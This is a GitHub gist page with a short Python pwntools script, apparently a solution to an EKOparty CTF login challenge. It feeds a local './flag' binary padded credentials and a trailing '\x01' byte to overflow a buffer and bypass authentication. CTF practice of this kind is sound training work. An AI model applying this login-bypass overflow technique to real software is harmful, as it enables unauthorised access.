Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Last active February 9, 2017 15:03
Show Gist options
  • Select an option

  • Save 0xPwny/07e7eb38c833fcd6b662d5306d3b53c8 to your computer and use it in GitHub Desktop.

Select an option

Save 0xPwny/07e7eb38c833fcd6b662d5306d3b53c8 to your computer and use it in GitHub Desktop.
EKOpartyCTF - Login exploit
#!/usr/bin/python
#author : Abdeljalil Nouiri
from pwn import *
user = "charly"
passwd = "h4ckTH1s"
con = process("./flag")
print con.recv()
payload = user+"AZERTYUIOPQ"
con.send(payload)
print con.recv()
payload = passwd+"SDFGHJKL"
payload += "\x01"
con.send(payload)
print con.recv()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment